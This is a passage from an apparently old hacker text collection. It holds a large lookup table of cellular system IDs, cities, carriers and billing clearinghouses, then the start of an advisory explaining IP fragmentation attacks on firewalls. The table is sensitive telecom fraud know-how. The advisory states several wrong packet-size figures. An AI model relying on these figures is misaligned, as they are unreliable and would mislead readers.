7317:Commonwealth 136:=:Jacksonville:FL:Bell South Mobile:305 577 4975:GTEDS 137:=:Omaha:NE:US West Cellular:800 626 6611:GTEDS 139:=:Anderson:SC:Metro Mobile:803 234 7954:APPEX 139:30139:Charlotte:NC:Metro Mobile:704 552 5185:APPEX 139:31139:Greenville:SC:Metro Mobile:803 234 7954:APPEX 140:=:Tuscon:AZ:US West Cellular:800 626 6611:GTEDS 142:=:Greensboro:NC:Centel Cellular:919 299 3333:GTEDS 142:=:Winston-Salem:NC:Centel Cellular:919 299 3333:GTEDS 143:=:Memphis:TN:Cellular One:901 683 2355:APPEX 144:=:Burlington:NC:Centel Cellular:919 833 7494:GTEDS 144:=:Durham:NC:Centel Cellular:919 833 7494:GTEDS 144:=:Raleigh:NC:Centel Cellular:919 833 7494:GTEDS 146:=:Oklahoma City:OK:Southwestern Bell Mobile:405 720 2212:GTEDS 148:=:Chattanooga:TN:Bell South Mobile:800 351 2400:GTEDS 149:=:Bristol:TX:Cellular One:615 349 4500:APPEX 149:=:Johnson City:TN:Cellular One:615 349 4500:APPEX 149:=:Kingsport:TN:Cellular One:615 349 4500:APPEX 150:=:Des Moines:IA:US West Cellular:800 626 6611:GTEDS 151:=:San Antonio:TX:Cellular One:512 349 2600:APPEX 152:=:Omaha:NE:Centel Cellular:402 330 6500:GTEDS 153:=:Fresno:CA:Cellular One:209 438 8888:APPEX 153:=:Visilia:CA:Cellular One:209 738 0999:APPEX 156:=:Charleston:SC:Centel Cellular:803 767 1340:GTEDS 159:=:Harrisburg:PA:Cellular One:717 579 2355:GTEDS 159:30011:Lancaster:PA:Cellular One:717 579 2355:GTEDS 159:30013:York:PA:Cellular One:717 579 2355:GTEDS 160:=:Jackson:MS:Alltel Mobile:601 354 1212:GTEDS 161:=:Chattanooga:TN:Cellular One:615 892 2355:APPEX 162:=:Fresno:CA:Contel Cellular:800 792 8400:GTEDS 162:=:Visilia:CA:Contel Cellular:800 792 8400:GTEDS 163:=:Dayton:OH:Cellular One:513 477 1999:GTEDS 163:=:Springfield:OH:Cellular One:513 434 2355:Commonwealth 164:=:Austin:TX:GTE Mobile:800 347 5665:GTEDS 165:=:Wichita:KS:Cellular One:316 686 8811:APPEX 166:=:Tulsa:OK:US Cellular:918 665 0101:GTEDS 167:=:Honolulu:HI:Honolulu Cellular:808 545 4755:APPEX 168:=:Newport News:VA:Contel Cellular:800 792 8400:GTEDS 168:=:Norfolk:VA:Contel Cellular:800 792 8400:GTEDS 169:=:Oklahoma City:OK:Cellular One:405 843 9113:APPEX 170:=:Petersburg:VA:Contel Cellular:800 792 8400:GTEDS 170:=:Richmond:VA:Contel Cellular:800 792 8400:GTEDS 171:=:Gulf of Mexico:XX:Petrocomm:800 257 3876:GTEDS 173:=:Long Branch:NJ:Cellular One:800 227 9222:APPEX 173:=:New Brunswick:NJ:Cellular One:800 227 9222:APPEX 175:=:Brandenton:FL:Cellular One:813 221 1662:APPEX 175:=:Lakeland:FL:Cellular One:813 221 1662:APPEX 175:=:Melbourne:FL:Cellular One:407 258 7100:APPEX 175:=:Orlando:FL:Cellular One:407 425 2355:APPEX 175:=:Sarasota:FL:Cellular One:813 221 1662:APPEX 175:=:Tampa:FL:Cellular One:813 221 1662:APPEX 179:=:Clarksville:TN:Cellular One:615 645 2200:APPEX 179:=:Mt. Juliet:TN:Cellular One:615 269 2273:APPEX 179:=:Nashville:TN:Cellular One:615 269 2273:APPEX 180:=:Colorado Springs:CO:US West Cellular:800 626 6611:GTEDS 181:=:Augusta:GA:Cellular One:404 868 0086:GTEDS 182:=:Columbia:SC:Bell South Mobile:800 351 2400:GTEDS 183:=:Bakersfield:CA:Bakersfield Cellular:805 327 8700:Cell-T 184:=:Corpus Christi:TX:Southwestern Bell Mobile:512 854 5678:GTEDS 185:=:Beaumont:TX:Cellular One:409 898 8000:Cell-T 186:=:Davenport:IA:Contel Cellular:800 792 8400:GTEDS 186:=:Bettendorf:IA:Contel Cellular:800 792 8400:GTEDS 186:=:Rock Island:IL:Contel Cellular:800 792 8400:GTEDS 186:=:Moline:IL:Contel Cellular:800 792 8400:GTEDS 188:=:Lansing:MI:Century Cellunet:517 393 0311:GTEDS 189:=:Columbia:SC:Metro Mobile:803 731 8300:APPEX 190:=:Evansville:IN:Contel Cellular:800 792 8400:GTEDS 190:=:Henderson:KY:Contel Cellular:800 792 8400:GTEDS 190:=:Owensboro:KY:Contel Cellular:800 792 8400:GTEDS 191:=:Corpus Christi:TX:Cellular One:512 937 8243:APPEX 193:=:Davenport:IA:Cellular One:319 388 8000:GTEDS 193:=:Bettendorf:IA:Cellular One:319 388 8000:GTEDS 193:=:Rock Island:IL:Cellular One:319 388 8000:GTEDS 193:=:Moline:IL:Cellular One:319 388 8000:GTEDS 194:=:Gulf of Mexico:XX:Coastel Cellular:800 822 8400:GTEDS 195:=:Des Moines:IA:Cellular One:515 223 6611:GTEDS 197:=:Evansville:IN:Cellular One:812 464 5111:GTEDS 198:=:Huntsville:AL:Bell South Mobile:800 351 2400:GTEDS 199:=:Ft. Wayne:IN:Cellular One:219 484 2500:CBIS 203:=:Huntsville:AL:Cellular One:205 830 6633:APPEX 204:=:Albany:GA:Alltel Mobile:912 888 8200:GTEDS 206:=:Georgetown:KY:Bell South Mobile:800 351 2400:GTEDS 206:=:Lexington:KY:Bell South Mobile:800 351 2400:GTEDS 208:=:Little Rock:AR:Alltel Mobile:501 666 6688:GTEDS 211:=:Las Vegas:NV:Cellular One:702 732 2240:APPEX 212:=:Alexandria:LA:US Cellular:318 445 2065:GTEDS 213:=:Lexington:KY:Cellular One:606 223 3700:APPEX 214:=:Peoria:IL:Centel Cellular:309 693 3800:GTEDS 215:=:Little Rock:AR:Cellular One:501 225 2355:APPEX 215:=:Pine Bluff:AR:Cellular One:501 221 1771:APPEX 216:=:Saginaw:MI:Century Cellunet:517 792 1556:GTEDS 217:30039:Appleton:WI:Cellular One:414 738 0110:APPEX 217:30041:Beloit:WI:Cellular One:608 751 2273:APPEX 217:30031:Green Bay:WI:Cellular One:414 496 2273:APPEX 217:30041:Janesville:WI:Cellular One:608 751 2273:APPEX 217:30035:Kenosha:WI:Cellular One:414 652 2022:APPEX 217:=:Madison:WI:Cellular One:608 271 2273:APPEX 217:=:Oshkosh:WI:Cellular One:414 738 0110:APPEX 217:30037:Racine:WI:Cellular One:414 939 2273:APPEX 217:30033:Rockford:IL:Cellular One:815 494 2273:APPEX 220:=:Shreveport:LA:Century Cellunet:318 687 8502:GTEDS 221:=:Peoria:IL:US Cellular:309 685 1234:GTEDS 222:=:Spokane:WA:US West Cellular:800 626 6611:GTEDS 224:=:Modesto:CA:Pactel Cellular:916 520 0645:GTEDS 224:=:Stockton:CA:Pactel Cellular:916 520 0645:GTEDS 226:=:Rome:NY:Avantage Cellular:315 797 2041:GTEDS 226:=:Utica:NY:Avantage Cellular:315 797 2041:GTEDS 228:=:Bakersfield:CA:Contel Cellular:800 792 8400:GTEDS 229:=:Longview:TX:Cellular One:318 636 9888:APPEX 229:=:Marshall:TX:Cellular One:318 636 9888:APPEX 229:=:Shreveport:LA:Cellular One:318 636 9888:APPEX 229:=:Texarkana:TX:Cellular One:318 636 9888:APPEX 231:=:Spokane:WA:Cellular One:509 838 2273:APPEX 233:=:Modesto:CA:Cellular One:209 572 1004:APPEX 233:=:Stockton:CA:Cellular One:209 476 1500:APPEX 235:=:Rome:NY:Cellular One:315 768 4400:Cell-T 235:=:Utica:NY:Cellular One:315 768 4400:Cell-T 240:=:Appleton:WI:Cellulink:414 735 9707:GTEDS 240:=:Oshkosh:WI:Cellulink:414 735 9797:GTEDS 241:=:Albany:GA:Cellular One:912 888 8228:APPEX 244:=:Grand Rapids:MI:Century Cellunet:616 940 0985:GTEDS 246:=:Asheville:NC:US Cellular:704 258 0000:GTEDS 247:=:Altoona:PA:Cellular One:814 946 4535:GTEDS 249:=:Amarillo:TX:Cellular One:806 374 1900:Cell-T 250:=:Atlantic City:NJ:Bell Atlantic Mobile:800 922 0204:GTEDS 250:=:Vineland:NJ:Bell Atlantic Mobile:800 922 0204:GTEDS 251:=:Anchorage:AK:Cellular One:907 561 1122:APPEX 255:=:Anniston:AL:Cellular One:205 942 2355:Cell-T 256:=:Battle Creek:MI:Century Cellunet:616 342 6655:GTEDS 258:=:Bellingham:WA:US West Cellular:800 626 6611:GTEDS 260:=:Benton Harbor:MI:Century Cellunet:616 342 6655:GTEDS 264:=:Gulfport:MS:Cellular South::GTEDS 266:=:Binghamton:NY:Contel Cellular:800 792 8400:GTEDS 266:=:Elmira:NY:Contel Cellular:800 792 8400:GTEDS 267:=:Atlantic City:NJ:Cellular One::APPEX 268:=:Bismark:ND:US West Cellular:800 626 6611:GTEDS 269:=:Asheville:NC:Cellular One::Cell-T 271:=:Bangor:ME:US Cellular:207 942 0700:GTEDS 272:=:Boise:ID:US West Cellular:800 626 6611:GTEDS 276:=:Bremerton:WA:Cellular One:800 626 6611:GTEDS 277:=:Benton Harbor:MI:Cellular One:616 982 9900:Cincin 278:=:Brownsville:TX:Southwestern Bell Mobile:512 541 6200:GTEDS 278:=:Harlingen:TX:Southwestern Bell Mobile:512 428 6200:GTEDS 278:=:McAllen:TX:Southwestern Bell Mobile:512 380 6200:GTEDS 279:=:Billings:MT:Cellular One:406 652 0466:GTEDS 281:=:Biloxi:MS:Cellular One::GTEDS 283:30007:Binghamton:NY:Cellular One:607 771 8000:APPEX 283:30009:Elmira:NY:Cellular One:607 737 1000:APPEX 284:=:Casper:WY:US West Cellular:800 626 6611:GTEDS 285:=:Bismark:ND:Cellular One:701 224 1616:GTEDS 286:=:Cedar Rapids:IA:Centel Cellular:319 366 5700:GTEDS 286:=:Iowa City:IA:Centel Cellular:319 366 5700:GTEDS 287:=:Bloomington:IN:Cellular One:502 528 2355:APPEX 289:=:Boise:ID:Cellular One:208 345 2355:GTEDS 292:=:Charlottesville:VA:Centel Cellular:804 973 9100:GTEDS 294:=:Chico:CA:Pactel Cellular:916 920 0645:GTEDS 294:=:Redding:CA:Pactel Cellular:916 920 0645:GTEDS 297:=:Bryan:TX:Cellular One:409 696 2264:APPEX 297:=:College Station:TX:Cellular One:512 338 6777:GTEDS 298:=:Columbia:MO:US Cellular:314 474 0400:GTEDS 299:=:Burlington:NC:Gencell:800 888 7868:GTEDS 300:=:Burlington:VT:Contel Cellular:800 792 8400:GTEDS 301:=:Casper:WY:Cellular One:307 235 0110:GTEDS 302:=:Columbus:GA:Public Service Cellular:912 841 4117:GTEDS 303:=:Cedar Rapids:IA:US Cellular:319 365 1000:GTEDS 304:=:Cumberland:MD:Gencell:800 888 7868:GTEDS 306:=:Danville:VA:Centel Cellular:804 791 3100:GTEDS 307:=:Charleston:WV:Cellular One:304 345 2355:GTEDS 307:30047:Huntington:WV:Cellular One:304 345 2355:GTEDS 308:=:Daytona Beach:FL:Bell South Mobile:305 577 4975:GTEDS 308:=:New Smyrna:FL:Bell South Mobile:800 351 2400:GTEDS 312:=:Dothan:AL:Graceba Cellular:205 793 9148:GTEDS 314:=:Dubuque:IA:Centel Cellular:319 580 0010:GTEDS 316:=:Duluth:MN:US West Cellular:800 626 6611:GTEDS 318:=:Eau Claire:WI:Cellulink:715 835 7370:GTEDS 319:=:Columbus:GA:Cellular One:404 596 9041:APPEX 321:=:Cumberland:MD:Cellular One:814 946 4535:GTEDS 323:=:Danville:VA:Cellular One:804 791 3453:GTEDS 324:=:Enid:OK:Enid Cellular:405 375 4111:GTEDS 325:=:Daytona Beach:FL:Cellular One:904 257 2355:APPEX 328:=:Eugene:OR:US West Cellular:800 626 6611:GTEDS 329:=:Dothan:AL:Cellular One:205 671 4111:Cell-T 330:=:Fargo:ND:US West Cellular:800 626 6611:GTEDS 331:=:Dubuque:IA:US Cellular::GTEDS 333:=:Duluth:MN:Cellular One:218 727 4700:GTEDS 334:=:Muscle Shoals:LA:Shoals Cellular:205 383 5111:GTEDS 336:=:Ft. Collins:CO:US West Cellular:800 626 6611:GTEDS 336:=:Loveland:CO:US West Cellular:800 626 6611:GTEDS 340:=:Ft. Pierce:FL:US Cellular:305 287 7888:GTEDS 342:=:Fayetteville:AR:Contel Cellular:800 792 8400:GTEDS 342:=:Ft. Smith:AR:Contel Cellular:800 792 8400:GTEDS 342:=:Rogers:AR:Contel Cellular:800 792 8400:GTEDS 343:=:Erie:PA:Cellular One:814 881 0100:APPEX 344:=:Ft. Walton Beach:FL:Centel Cellular:904 664 2000:GTEDS 348:=:Gainesville:FL:Alltel Cellular:904 374 8500:GTEDS 348:=:Ocala:FL:Alltel Mobile:904 237 1100:GTEDS 349:=:Fayetteville:NC:Cellular One:919 483 1181:GTEDS 350:=:Florence:SC:Bell South Mobile:800 351 2400:GTEDS 355:=:Ft. Meyers:FL:Cellular One:813 936 4534:APPEX 356:=:Grand Forks:ND:US West Cellular:800 626 6611:GTEDS 357:=:Ft. Pierce:FL:Cellular One:407 833 1111:APPEX 358:=:Great Falls:MT:US West Cellular:800 626 6611:GTEDS 359:=:Ft. Smith:AR:Cellular One:501 783 4600:GTEDS 360:=:Greely:CO:US West Cellular:800 626 6611:GTEDS 361:=:Ft. Walton Beach:FL:Cellular One:904 433 7300:GTEDS 361:30021:Pensacola:FL:Cellular One:904 433 7300:GTEDS 362:=:Green Bay:WI:Cellcom:414 494 2355:GTEDS 364:=:Hagerstown:MD:Bell Atlantic Mobile:800 922 0204:GTEDS 365:=:Gainesville:FL:Centel Cellular:904 374 8100:GTEDS 368:=:Hickory:NC:Centel Cellular:704 327 4000:GTEDS 370:=:Houma:LA:Mobiletel:504 798 7894:GTEDS 370:=:Thibodaux:LA:Mobiletel:504 798 7894:GTEDS 370:=:Larose:LA:Mobiletel:504 798 7894:GTEDS 370:=:Leeville:LA:Mobiletel:504 798 7894:GTEDS 373:=:Great Falls:MT:Cellular One:406 727 2355:GTEDS 374:=:Jackson:MI:Century Cellunet:517 393 0311:GTEDS 376:=:Jacksonville:NC:Centel Cellular:919 833 7494:GTEDS 377:=:Florence:SC:Cellular One:803 664 2898:GTEDS 381:=:Hagerstown:MD:Cellular One:301 331 2355:GTEDS 384:=:Joplin:MO:US Cellular:417 624 2255:GTEDS 385:=:Hickory:NC:Cellcom:704 322 7557:APPEX 386:=:Kalamazoo:MI:Century Cellunet:616 342 6655:GTEDS 387:=:Houma:LA:Cellular One:504 686 0220:GTEDS 387:=:Thibodaux:LA:Cellular One:504 686 0220:GTEDS 389:=:Iowa City:IA:Allcell Cellular:319 351 5888:CBIS 392:=:Killeen:TX:Centel Cellular:817 771 0077:GTEDS 392:=:Temple:TX:Centel Cellular:817 771 0077:GTEDS 393:=:Jacksonville:NC:Cellular One:919 455 9300:C-Tech 396:=:La Crosse:WI:Century Cellunet:608 788 8000:GTEDS 400:=:Lake Charles:LA:Mercury Cellular:318 433 6298:Lake Charles 401:=:Joplin:MO:Cellular One:417 862 6611:APPEX 402:=:Laredo:TX:Laredo Cellular:512 722 2333:GTEDS 403:=:Kalamazoo:MI:Cellular One:616 388 8066:CBIS 408:=:Lawton:OK:US Cellular:405 355 3535:GTEDS 409:=:Killeen:TX:Cellular One:817 526 6800:APPEX 409:=:Temple:TX:Cellular One:817 526 6800:APPEX 412:=:Lima:OH:Centel Cellular:419 893 1077:GTEDS 413:=:La Crosse:WI:US Cellular:608 781 2600:GTEDS 414:=:Lafayette:LA:Bell South Mobile:305 577 4975:GTEDS 415:=:Lafayette:IN:McCaw Cellular:502 582 2273:GTEDS 416:=:Lincoln:NE:Lincoln Telephone Cellular:402 486 7266:GTEDS 417:=:Lake Charles:LA:Celltelco:318 279 6532:GTEDS 418:=:Longview:TX:Centel Cellular:214 561 5575:GTEDS 418:=:Marshall:TX:Centel Cellular:214 561 5575:GTEDS 418:=:Tyler:TX:Centel Cellular:214 561 5575:GTEDS 422:=:Abilene:TX:Southwestern Bell Mobile:915 698 7626:GTEDS 422:=:Amarillo:TX:Southwestern Bell Mobile:806 353 7447:GTEDS 422:=:Lubbock:TX:Southwestern Bell Mobile:806 791 0011:GTEDS 422:=:Midland:TX:Southwestern Bell Mobile:915 563 4611:GTEDS 422:=:Odessa:TX:Southwestern Bell Mobile:915 563 4611:GTEDS 424:=:Lynchburg:VA:Centel Cellular:804 528 3500:GTEDS 426:=:Macon:GA:Bell South Mobile:800 351 2400:GTEDS 427:=:Auburn:ME:US Cellular:207 782 8010:GTEDS 427:=:Lewiston:ME:US Cellular:207 782 8010:GTEDS 428:=:Manchester:NH:Contel Cellular:800 792 8400:GTEDS 428:=:Nashua:NH:Contel Cellular:800 792 8400:GTEDS 430:=:Mansfield:OH:Centel Cellular:419 893 1077:GTEDS 431:=:Lafayette:LA:Cellular One:318 984 1777:APPEX 436:=:Medford:OR:US Cellular::GTEDS 439:=:Lubbock:TX:Cellular One:806 797 2355:GTEDS 440:=:Monroe:LA:Century Cellunet:318 325 3600:GTEDS 443:=:Macon:GA:Cellular One:912 742 2355:GTEDS 443:=:Warner Robins:GA:Cellular One::GTEDS 444:=:Montgomery:AL:Alltel Mobile:800 255 8351:GTEDS 445:=:Manchester:NH:US Cellular:603 624 8000:GTEDS 447:=:Mansfield:OH:Cellular One:419 564 5000:Commonwealth 448:=:Muskegon:WI:Century Cellunet:616 940 0985:GTEDS 451:=:Jackson:MS:Cellular One:512 686 2355:Cell-T 451:=:McAllen:TX:Cellular One:512 686 2355:Cell-T 456:=:Olympia:WA:US West Cellular:800 626 6611:GTEDS 462:=:Palm Springs:FL:Centel Cellular:904 785 7000:GTEDS 462:=:Panama City:FL:Centel Cellular:904 785 7000:GTEDS 465:=:Montgomery:AL:Montgomery Cellular:205 265 2355:GTEDS 467:=:Muncie:IN:Cellular One:502 582 2355:APPEX 473:=:Ocala:FL:Cellular One:407 425 2355:GTEDS 475:=:Odessa:TX:Cellular One:806 797 2355:GTEDS 476:=:Melbourne:FL:Bell South Mobile:800 351 2400:GTEDS 478:30018:Pine Bluff:AK:Pine Bluff Cellular:501 536 4200:GTEDS 479:=:Orange County:NY:Cellular One:914 564 4447:GTEDS 480:=:Pittsfield:NY:Nynex Mobile Com::Nynex 481:=:Owensboro:KY:US Cellular:502 685 5111:GTEDS 483:=:Palm Springs:FL:Palmer Comm:904 769 2269:GTEDS 484:=:Biddeford:ME:Star Cellular:800 346 9172:GTEDS 484:=:Dover:NH:Star Cellular:800 346 9172:GTEDS 484:=:Portsmouth:NH:Star Cellular:800 346 9172:GTEDS 484:=:Saco:ME:Star Cellular:800 346 9172:GTEDS 486:=:Orange County:NY:Nynex Mobile Com::Nynex 486:=:Poughkeepsie:NY:Nynex Mobile Com::Nynex 488:=:Provo:UT:US West Cellular:800 626 6611:GTEDS 494:=:Rapid City:SD:Contel Cellular:800 792 8400:GTEDS 498:=:Reno:NV:Pactel Cellular:916 920 0645:GTEDS 499:=:Portland:ME:Cellular One:207 772 9805:GTEDS 500:=:Richland:WA:US Cellular::GTEDS 501:=:Portsmouth:NH:Cellular One:617 890 1555:(Boston) 502:=:Roanke:VA:Contel Cellular:800 792 8400:GTEDS 503:=:Poughkeepsie:NY:US Cellular:914 297 3444:GTEDS 504:=:Rochester:MN:US Cellular:507 388 3000:GTEDS 506:=:Rockford:IL:Contel Cellular:800 792 8400:GTEDS 510:=:San Angelo:TX:West Central Cellular:915 944 9016:GTEDS 511:=:Rapid City:SD:Cellular One::GTEDS 513:=:Redding:CA:Cellular One:916 923 2222:APPEX 515:=:Reno:NV:Cellular One:702 322 5511:APPEX 519:=:Roanke:VA:Cellular One:703 345 0808:Cell-T 520:=:Savannah:GA:Savannah Cellular:912 356 5224:GTEDS 521:=:Rochester:MN:Cellular One:507 254 2273:APPEX 527:=:Monterey:CA:Cellular One:408 754 8888:APPEX 527:=:Salinas:CA:Cellular One:408 647 8888:APPEX 530:=:Elkhart:IN:Centel Cellular:219 288 2355:GTEDS 530:=:South Bend:IN:Centel Cellular:219 288 2355:GTEDS 531:=:Santa Barbara:CA:Santa Barbara Cellular:800 722 7464:Cell-T 534:=:St. Cloud:MN:US Cellular:612 252 9000:GTEDS 539:=:Savannah:GA:Cellular One:912 352 3456:GTEDS 540:=:Sioux Falls:SD:US West Cellular:800 626 6611:GTEDS 544:=:Talahassee:FL:Centel Cellular:904 668 2200:GTEDS 545:=:Denison:TX:Metrocell Cellular:214 263 4921:APPEX 545:=:Sherman:TX:Metrocell Cellular:214 263 4921:APPEX 546:=:Springfield:MO:Alltel Mobile:417 882 2020:GTEDS 547:=:Sioux City:IA:Centel Cellular:712 274 2494: 549:=:South Bend:IN:Cellular One:219 289 0933:Micro-T 550:=:Texarkana:TX:Century Cellunet:214 793 0500:GTEDS 551:30045:Bloomington:IL:Cellular One:217 744 3000:APPEX 551:30005:Champaign:IL:Cellular One:217 744 3000:APPEX 551:30003:Decatur:IL:Cellular One:217 744 3000:APPEX 551:30001:Springfield:IL:Cellular One:217 744 3000:APPEX 551:30005:Urbana:IL:Cellular One:217 744 3000:APPEX 555:=:Sioux Falls:SD:Cellular One:605 336 0520:Cell-T 557:=:St. Joseph:MO:Cellular One:816 232 6158:APPEX 561:30019:State College:PA:Cellular One:717 579 2355:GTEDS 562:=:Victoria:TX:GTE Mobile:800 347 5665:GTEDS 565:=:Talahassee:FL:Cellular One:904 386 8999:APPEX 566:=:Waco:TX:Centel Cellular:817 771 0077:GTEDS 567:=:Terre Haute:IN:Cellular One:502 582 2355:APPEX 568:=:Waterloo:IA:Centel Cellular:319 236 0400:GTEDS 570:=:Wausau:WI:US Cellular:715 842 4200:GTEDS 574:=:Wichita Falls:TX:US Cellular:817 696 5500:GTEDS 575:=:Trenton:NJ:Cellular One:800 227 9222:APPEX 576:=:Williamsport:PA:US Cellular:707 321 9500:GTEDS 577:30027:Tuscaloosa:AL:Cellular One:205 942 2355:APPEX 578:=:Wilmington:NC:Centel Cellular:919 833 7494:GTEDS 579:=:Tyler:TX:Cellular One:214 561 2355:GTEDS 580:=:Yakima:WA:US Cellular:509 248 3000:GTEDS 581:=:Victoria:TX:Cellular One:512 573 1100:Cell-T 583:=:Vineland:NJ:Cellular One:609 272 0900:GTEDS 587:=:Waco:TX:Cellular One:817 776 3933:APPEX 589:=:Waterloo:IA:Cellular One:319 234 4000:GTEDS 591:=:Wausau:WI:Cellular One:715 842 7900:GTEDS 595:=:Wichita Falls:TX:Cellular One:817 691 9100:Cell-T 599:=:Wilmington:NC:Cellular One:919 799 5000:GTEDS 601:=:Yakima:WA:Cellular One:509 454 2663:APPEX 607:=:Fayetteville:AR:Cellular One:501 783 4600:Cell-T 1161:=:Hawaii:HI:US Cellular::GTEDS 1177:=:Lasalle:IL:Cellular One:815 224 4470:GTEDS 1216:=:Batavia:IA:US Cellular:515 662 7000:GTEDS 1704:=:Gainesville:TX:Southwestern Bell Mobile:214 988 8484:GTEDS 1774:=:North Sound:WA:US West:800 238 7848:GTEDS 1784:=:Longview:WA:US Cellular::GTEDS 16384:=:Calgary:AB:AGT Cellular:403 248 2355:GTEDS 16384:=:Lethbridge:AB:AGT Cellular:403 248 2355:GTEDS 16384:=:Medicine Hat:AB:AGT Cellular:403 248 2355:GTEDS 16387:=:Calgary:AB:Cantel, Inc.:403 266 1300:GTEDS 16389:=:Chicoutimi:QU:Cantel, Inc.:514 340 9220:GTEDS 16390:=:Amherst:NS:MT&T Cellular:902 421 2355:GTEDS 16390:=:Bridgewater:NS:MT&T Cellular:902 421 2355:GTEDS 16390:=:Chester:NS:MT&T Cellular:902 421 2355:GTEDS 16390:=:Halifax:NS:MT&T Cellular:902 421 2355:GTEDS 16390:=:Hantsport:NS:MT&T Cellular:902 421 2355:GTEDS 16390:=:Kentville:NS:MT&T Cellular:902 421 2355:GTEDS 16390:=:Moncton:NB:MT&T Cellular:902 421 2355:GTEDS 16390:=:Sydney:NS:MT&T Cellular:902 421 2355:GTEDS 16390:=:Truro:NS:MT&T Cellular:902 421 2355:GTEDS 16390:=:Windsor:NS:MT&T Cellular:902 421 2355:GTEDS 16391:=:Edmonton:AB:Cantel, Inc.:416 440 1300:GTEDS 16393:=:Halifax:NS:Cantel, Inc.:416 440 1300:GTEDS 16395:=:Hamilton:ON:Cantel, Inc.:416 440 1300:GTEDS 16397:=:Hespler:ON:Cantel, Inc.:416 440 1300:GTEDS 16397:=:Kitchener:ON:Cantel, Inc.:416 440 1300:GTEDS 16399:=:London:ON:Cantel, Inc.:416 440 1300:GTEDS 16401:=:Montreal:QU:Cantel, Inc.:514 340 9220:GTEDS 16403:=:Oshawa:ON:Cantel, Inc.:416 440 1300:GTEDS 16405:=:Ottawa:ON:Cantel, Inc.:514 340 9220:GTEDS 16407:=:Quebec City:QU:Cantel, Inc.:514 340 9220:GTEDS 16408:=:Bathurst:NB:MT&T Cellular::GTEDS 16408:=:Newcastle:NB:MT&T Cellular::GTEDS 16409:=:Regina:SK:Cantel, Inc.:403 266 1300:GTEDS 16411:=:St. John:NB:Cantel, Inc.:416 440 1300:GTEDS 16413:=:Saskatoon:SK:Cantel, Inc.:403 266 1300:GTEDS 16415:=:St. Catharines:ON:Cantel, Inc.:416 440 1300:GTEDS 16419:=:Sudbury:ON:Cantel, Inc.:416 440 1300:GTEDS 16423:=:Newmarket:ON:Cantel, Inc.:416 440 1300:GTEDS 16423:=:Toronto:ON:Cantel, Inc.:416::GTEDS 16425:=:Abbotsford:BC:Cantel, Inc.:604 687 1440:GTEDS 16427:=:Vancouver:BC:Cantel, Inc.:604 687 1440:GTEDS 16428:=:Winnipeg:MB:MTS Cellular:204 941 7910:GTEDS 16431:=:Windsor:ON:Cantel, Inc.:416 440 1300:GTEDS 16431:=:Winnipeg:MB:Cantel, Inc.:403 266 1300:GTEDS 16433:=:Trois Rivieres:QU:Cantel, Inc.:416 440 1300:GTEDS 16435:=:Barrie:ON:Cantel, Inc.:416 440 1300:GTEDS 16437:=:Brantford:ON:Cantel, Inc.:416 440 1300:GTEDS 16439:=:Sherbrooke:QU:Cantel, Inc.:514 340 9220:GTEDS 16441:=:Peterborough:ON:Cantel, Inc.:416 440 1300:GTEDS 16443:=:Kingston:ON:Cantel, Inc.:416 440 1300:GTEDS 16445:=:Red Deer:AB:Cantel, Inc.:403 266 1300:GTEDS 16447:=:Nanaimo:BC:Cantel, Inc.:604 687 1440:GTEDS 16449:=:Belleville:ON:Cantel, Inc.:416 440 1300:GTEDS 16451:=:Cornwall:ON:Cantel, Inc.:514 340 9220:GTEDS 16453:=:Portage:AB:Cantel, Inc.:403 266 1300:GTEDS 16455:=:Selkirk:AB:Cantel, Inc.:403 266 1300:GTEDS 16457:=:Chatham:ON:Cantel, Inc.:416 440 1300:GTEDS 16459:=:Sarnia:ON:Cantel, Inc.:416 440 1300:GTEDS 16461:=:Chiliwack:BC:Cantel, Inc.:604 687 1440:GTEDS 16463:=:Whistler:BC:Cantel, Inc.:604 687 1440:GTEDS 16465:=:Steinbach:MB:Cantel, Inc.:403 266 1300:GTEDS 16467:=:Moncton:NB:Cantel, Inc.:416 440 1300:GTEDS 16469:=:Fredericton:NB:Cantel, Inc.::GTEDS 16471:=:Brandon:MB:Cantel, Inc.:403 266 1300:GTEDS 16473:=:Lethbridge:AB:Cantel, Inc.:403 266 1300:GTEDS 16475:=:Truro:NS:Cantel, Inc.:416 440 1300:GTEDS 16477:=:Collingwood:ON:Cantel, Inc.::GTEDS 16481:=:St. Marie:QU:Cantel, Inc.:514 340 9220:GTEDS 16485:=:Coburg:ON:Cantel, Inc.:415 440 1300:GTEDS 16485:=:Newtonville:ON:Cantel, Inc.:415 440 1300:GTEDS 16487:=:Brockville:QU:Cantel, Inc.:514 340 9220:GTEDS 16491:=:Ponoka:AB:Cantel, Inc.:604 687 1440:GTEDS 16493:=:Bowden:QU:Cantel, Inc.:604 687 1440:GTEDS 16509:=:Orillia:ON:Cantel, Inc.:416 440 1300:GTEDS 16521:=:Kelowna:BC:Cantel, Inc.::GTEDS 16525:=:Penticton:BC:Cantel, Inc.::GTEDS 16527:=:Kamloops:BC:Cantel, Inc.::GTEDS 16531:=:Canmore:ON:Cantel, Inc.::GTEDS 32752:=:Nassau:BH:Batelco:809 322 4848:GTEDS !EOF! exit 0 --------------------------------------------------------------------------- [Dr. Cohen]------->Packet Fragmentation Attacks ADVISORY: TCP packet fragment attacks against firewalls and filters System: TCP/IP networks Introduction to Packet Fragmentation Packet fragmentation is the part of the Internet Protocol (IP) suite of networking protocols that assures that IP datagrams can flow through any other sort of network. (For details, see Internet Request For Comments 791 (rfc791) and are available and searchable in electronic form from Info-Sec heaven on the World-Wide-Web at http://all.net, through gopher service at all.net, or by ftp service from rs.internic.net.) Fragmentation works by allowing datagrams created as a single packet to be split into many smaller packets for transmission and reassembled at the receiving host. Packet fragmentation is necessary because underlying the IP protocol, other physical and or logical protocols are used to transport packets through networks. A good example of this phenomena is on the difference between Ethernet packets (which are limited to 1024 bytes), ATM packets (which are limited to 56 bytes), and IP packets which have variable sizes up to about 1/2 million bytes in length. The only exception to this rule is in the case of an internet datagram marked don't fragment . Any internet datagram marked in this way is supposed to not be fragmented under any circumstances. If internet datagrams marked don't fragment cannot be delivered to their destination without being fragmented, they are supposed to be discarded instead. Of course, this rule doesn't have to be obeyed by the IP software actually processing packets, but it is supposed to be. How Packet Reassembly Attacks Work The packet fragmentation mechanism leads to attacks that bypass many current Internet firewalls, but the reason these attacks work is not because of the way fragmentation is done, but rather because of the way datagrams are reassembled. Datagrams are supposed to be fragmented into packets that leave the header portion of the packet intact except for the modification of the fragmented packet bit and the filling in of an offset field in the IP header that indicates at which byte in the whole datagram the current packet is supposed to start. In reassembly, the IP reassembler creates a temporary packet with the fragmented part of the datagram in place and adds incoming fragments by placing their data fields at the specified offsets within the datagram being reassembled. Once the whole datagram is reassembled, it is processed as if it 